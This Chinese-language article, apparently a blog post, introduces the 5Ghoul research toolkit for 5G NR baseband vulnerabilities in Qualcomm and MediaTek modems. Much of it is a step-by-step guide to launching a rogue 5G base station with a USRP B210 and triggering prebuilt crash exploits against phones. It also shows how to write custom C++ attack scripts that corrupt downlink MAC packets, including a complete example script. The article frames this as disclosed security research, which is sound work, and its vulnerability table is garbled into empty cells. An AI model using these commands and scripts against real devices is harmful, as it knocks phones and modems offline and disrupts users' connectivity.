5Ghoul工具:揭开 5G 网络攻击的神秘面纱

5Ghoul:揭开 5G 网络攻击的神秘面纱
当第五代移动通信技术走进千家万户,你是否想过,那些看似坚不可摧的 5G 网络,可能正面临着前所未有的安全挑战?
项目背景与发现历程
2025 年 9 月 15 日,安全研究团队 Asset Group 再次带来震撼业界的消息——他们发现了 12 个新的高危 5G 漏洞,全部影响主流厂商的基带调制解调器。至此,5Ghoul 项目已累计发现 22 个新漏洞,其中 18 个被评定为高危级别。
这项研究的成果将发表在 IEEE TDSC(IEEE Transactions on Dependable and Secure Computing)期刊上,技术论文可在项目官方页面获取。
5Ghoul 是一个针对 5G NR(New Radio)协议栈的实现级拒绝服务漏洞家族,主要影响高通(Qualcomm)和联发科(MediaTek)两大移动平台。受影响的设备范围涵盖商用智能手机、CPE 路由器、USB 调制解调器等多种终端设备。
技术原理与系统架构
核心工作机制
5Ghoul 的工作原理基于软件定义无线电(SDR)技术,通过 USRP B210 硬件设备模拟 rogue 基站(gNB),与目标用户设备(UE)建立连接,然后发送精心构造的恶意协议数据单元(PDU),触发目标设备协议栈中的漏洞。

系统架构分为三个核心层次:
物理层与数据链路层:基于 OpenAirInterface 开源项目实现 5G MAC、RLC 和 PDCP 协议,负责无线信号的发送接收和底层协议处理。
核心网络层:集成 Open5GS 开源 5G 核心网,处理 NAS、IPv4 等高层协议,管理用户认证和会话建立。
攻击引擎层:5Ghoul 自主研发的数据包拦截与变异引擎,支持上行和下行数据包的双向分析与修改。
数据包拦截机制

当用户设备发送上行数据包时,OpenAirInterface 软件栈会将 MAC 帧转发至 5Ghoul 数据包拦截 API。该 API 根据用户定义的过滤规则对数据包进行解码和分析,类似于 Wireshark 的显示过滤器功能。

下行数据包的拦截则采用”保持”(Hold)操作机制。基站生成的原始 5G MAC 缓冲区在发送前会被传递给用户的 C++ 攻击脚本,允许在数据包发送前进行修改。任何对数据包缓冲区的更改都会被转发回基站软件栈,最终通过空中接口发送给目标设备。
硬件与软件需求
硬件配置
USRP B210 软件定义无线电:这是运行 5Ghoul 的核心硬件设备,可直接从 Ettus 公司购买。该设备支持 5G 频段,能够与 OpenAirInterface 5G 软件栈完美配合。

可编程 SIM 卡(可选):部分手机在没有测试 SIM 卡的情况下不会连接到任意网络。推荐使用 SysmoISM-SJA2 可编程 SIM/USIM/ISIM 卡,可将归属网络配置为 001/01。

软件环境
5Ghoul 的二进制版本已在裸机 Ubuntu 18.04 上测试确认。项目提供 Docker 容器,可在任何支持 Docker 的 Linux 系统上运行。官方已在 Docker 24.0.2 版本上验证容器功能。
需要注意的是,由于 USB3 延迟需要尽可能低,不建议使用任何虚拟机运行 5Ghoul。
快速开始指南
Docker 容器方式
对于大多数用户,推荐使用 Docker 容器方式快速启动 5Ghoul:
mkdir 5ghoulcurl -LJO https://github.com/asset-group/5ghoul-5g-nr-attacks/raw/master/container.shchmod +x container.sh./container.sh run release-5gsudo bin/5g_fuzzer --MCC=001 --MNC=01 --GlobalTimeout=false --EnableMutation=false
最后一条命令将启动基础基站而不执行任何攻击。当智能手机尝试连接到 rogue 基站时,5Ghoul PoC 会打印出”[!] 1/2 UE connected to eNB/gNB”消息,表明设置成功并准备就绪。

无 SDR 模拟模式
如果没有 SDR 硬件,可以使用 OpenAirInterface 提供的实验性模拟支持:
sudo bin/5g_fuzzer --EnableSimulator=true --EnableMutation=false --GlobalTimeout=false
需要注意的是,模拟模式下会收到”UE MAC Authentication Failure”错误消息,因为 OpenAirInterface 协议栈并未实现所有将 UE 连接到 gNB 的功能。但此模式可用于检查 5G 捕获和测试自定义攻击脚本。

空中数据包捕获
运行 5Ghoul PoC 后,gNB 与 UE 之间的空中通信跟踪(.pcapng 捕获文件)会自动保存到 logs 文件夹。可通过以下命令在 Wireshark 中查看:

./bin/wireshark logs/5gnr_gnb/capture_nr5g_gnb.pcapng
可用攻击类型详解
目前 5Ghoul PoC 提供 12 种预置攻击脚本,每种对应一个特定的漏洞利用场景:
|
|
|
|
|
|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
需要注意的是,V3 和 V4 漏洞似乎不影响固件版本为 2021 年及以后的高通模块。
查看可用攻击列表
可通过以下命令列出所有可用的攻击脚本:
sudo bin/5g_fuzzer --list-exploits
输出示例:
Available Exploits:--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]...
发起攻击实战
基础攻击命令
连接 USRP B210 到 PC/笔记本后,运行以下命令即可发起攻击:
sudo ./bin/5g_fuzzer --exploit=mac_sch_rrc_setup_crash_var --MCC=001 --MNC=01
5Ghoul PoC 运行后,会使用命令行提供的 MCC 和 MNC 启动 rogue 基站。插入兼容的测试 SIM 卡并在 Android 移动连接设置中扫描运营商网络,即可尝试连接到此 rogue 基站。
攻击效果展示
当智能手机连接到 rogue 基站并触发攻击时,终端会打印出相应的消息。以 V7 漏洞为例,该漏洞会禁用智能手机的 5G 连接,导致设备无法重新连接到 rogue 基站。如果 45 秒后仍无法与智能手机通信,会打印出”Target is not responding”消息。

教程视频
安全研究人员 @CemaexeCuter 制作了详细的教学视频,演示如何配置 5Ghoul 对 Quectel 基于高通的 5G 模块发起攻击。
视频链接:
https://www.youtube.com/watch?v=HN2r6esRDjM
自定义攻击脚本开发
5Ghoul 支持用户创建自定义测试用例,可自由修改基站与用户设备之间的通信流程。这不仅可用于发起新型攻击,还可用于数据包分析和入侵检测等多种应用场景。
脚本 API 使用说明
5Ghoul PoC 在启动时从 modules/exploits/5gnr_gnb 目录加载脚本,并调用 setup 和 module_name 函数。对于每个接收到的 5G 数据包,会调用相应的回调函数进行处理。
初始化配置:
intsetup(wd_modules_ctx_t *ctx){// 禁用全局超时,防止 5Ghoul 停止并重启 5G 协议栈 ctx->config->fuzzing.global_timeout = false;// 禁用模糊测试(变异),防止修改下行 PDU ctx->config->fuzzing.enable_mutation = false;// 声明过滤器 f1 = wd_filter("rlc-nr.am.dc == 0");return0;}
上行数据包拦截(仅分析):
intrx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 注册过滤器 wd_register_filter(ctx->wd, f1);return0;}intrx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 测试上行数据包是否匹配过滤器if (wd_read_filter(ctx->wd, f1)) {printf("Packet filter matched here!!!!\n"); }return0;}
下行数据包拦截(分析与变异):
inttx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){// 注册过滤器 wd_register_filter(ctx->wd, f1);return0;}inttx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){if (wd_read_filter(ctx->wd, f1)) { wd_log_y("Malformed MAC data sent!"); pkt_buf[60 - 48] = 0xB5; // 修改偏移量 12 处的字节 pkt_buf[61 - 48] = 0x02; // 修改偏移量 13 处的字节return1; // 表示数据包负载已被修改 }return0; // 表示数据包负载无变化}
完整示例:MAC/RLC 崩溃脚本
#include<ModulesInclude.hpp>// 过滤器wd_filter_t f1;constchar *module_name(){return"ANY_NAME";}// 设置intsetup(wd_modules_ctx_t *ctx){// 更改攻击所需的配置 ctx->config->fuzzing.global_timeout = false; ctx->config->fuzzing.enable_mutation = false;// 声明过滤器 f1 = wd_filter("rlc-nr.am.dc == 0");return0;}// 下行数据包处理inttx_pre_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){ wd_register_filter(ctx->wd, f1);return0;}inttx_post_dissection(uint8_t *pkt_buf, int pkt_length, wd_modules_ctx_t *ctx){if (wd_read_filter(ctx->wd, f1)) { wd_log_y("Malformed MAC data sent!"); pkt_buf[60 - 48] = 0xB5; pkt_buf[61 - 48] = 0x02;return1; }return0;}
将新攻击脚本保存到 modules/exploits/5gnr_gnb 目录后,5Ghoul PoC 二进制文件会在启动时编译并加载新脚本。可通过列出攻击列表来验证脚本是否正确编译加载。
5G 模糊测试模式
5Ghoul 支持命令行模式和图形界面模式运行模糊测试功能。
命令行模式
sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true
图形界面模式
sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui
成功连接智能手机或调制解调器后,5G 模糊测试器会以紫色高亮显示被变异(模糊)的下行 PDU。同时,向用户展示智能手机(UE)与执行模糊测试的 rogue 基站(gNB)之间空中通信的实时捕获。通信跟踪和日志保存到 logs/5gnr_gnb 目录。
图形界面主要用于开发和调试 5G 连接,或展示攻击和模糊测试效果。

从源码编译
系统要求
在编译项目之前,需要安装多个依赖项。项目为 Ubuntu 18.04 提供了自动化脚本 requirements.sh。
编译步骤
git clone https://github.com/asset-group/5ghoul-5g-nr-attackscd 5ghoul-5g-nr-attacks./requirements.sh dev # 安装编译 5ghoul 模糊测试器的所有系统依赖./requirements.sh 5g # 安装编译 OpenAirInterface 和 Open5GS 的所有系统依赖./build.sh all # 编译所有二进制文件(包含 Wireshark),约需 20 分钟./build.sh dev # (可选)不包含 Wireshark 编译所有二进制文件./build.sh # 无参数运行,快速编译 5g_fuzzer
高级选项
运行以下命令可列出 5Ghoul PoC 的所有选项:
sudo bin/5g_fuzzer --help
主要选项包括:
模糊测试配置:
-
–EnableDuplication:启用数据包复制 -
–EnableMutation:启用数据包变异(默认:true) -
–EnableOptimization:启用优化(默认:true) -
–DefaultMutationProbability:默认变异概率(默认:0.2) -
–GlobalTimeout:全局超时(默认:true) -
–GlobalTimeoutSeconds:全局超时秒数(默认:45)
NR5G 配置:
-
–MCC:移动国家代码(默认:001) -
–MNC:移动网络代码(默认:01) -
–AutoStartBaseStation:自动启动基站(默认:true) -
–AutoStartCoreNetwork:自动启动核心网(默认:true) -
–EnableSimulator:启用模拟器模式
输出选项:
-
–SaveProtocolCapture:保存协议捕获(默认:true) -
–LiveProtocolCapture:实时协议捕获 -
–SaveLogsToFile:保存日志到文件(默认:true) -
–gui:启动图形用户界面
技术影响与行业意义
5Ghoul 项目的发现揭示了 5G 协议栈实现中存在的深层次安全问题。这些漏洞不仅影响终端用户的设备安全,更可能对 5G 网络的整体可靠性构成威胁。
从技术角度看,这些漏洞主要集中在 RRC(无线资源控制)、RLC(无线链路控制)和 MAC(媒体访问控制)协议层的实现缺陷上。攻击者可以利用这些漏洞导致设备崩溃、连接中断,甚至强制设备降级到更不安全的网络制式。
对于设备制造商而言,及时修复这些漏洞至关重要。对于普通用户,保持设备系统和基带固件的最新版本是有效的防护措施。
项目链接
-
GitHub 仓库:https://github.com/asset-group/5ghoul-5g-nr-attacks -
官方披露页面:https://asset-group.github.io/disclosures/5ghoul/ -
技术论文:https://asset-group.github.io/papers/5Ghoul.pdf
结语
5Ghoul 项目不仅是一个安全研究工具,更是推动 5G 网络安全发展的重要力量。通过公开这些漏洞细节,研究团队希望促使设备制造商加强安全测试,提升 5G 生态系统的整体安全水平。
对于安全研究人员而言,5Ghoul 提供了一个强大的平台,可用于探索 5G 协议栈的未知领域,发现新的安全威胁。对于普通用户,了解这些潜在风险有助于提高安全意识,采取适当的防护措施。
在 5G 技术日益普及的今天,这样的安全研究显得尤为重要。只有正视风险,才能构建更加安全可靠的通信网络。
-
5G 安全 -
漏洞研究 -
软件定义无线电 -
协议分析 -
网络安全 -
移动通信 -
漏洞利用 -
模糊测试 -
高通漏洞 -
联发科漏洞

夜雨聆风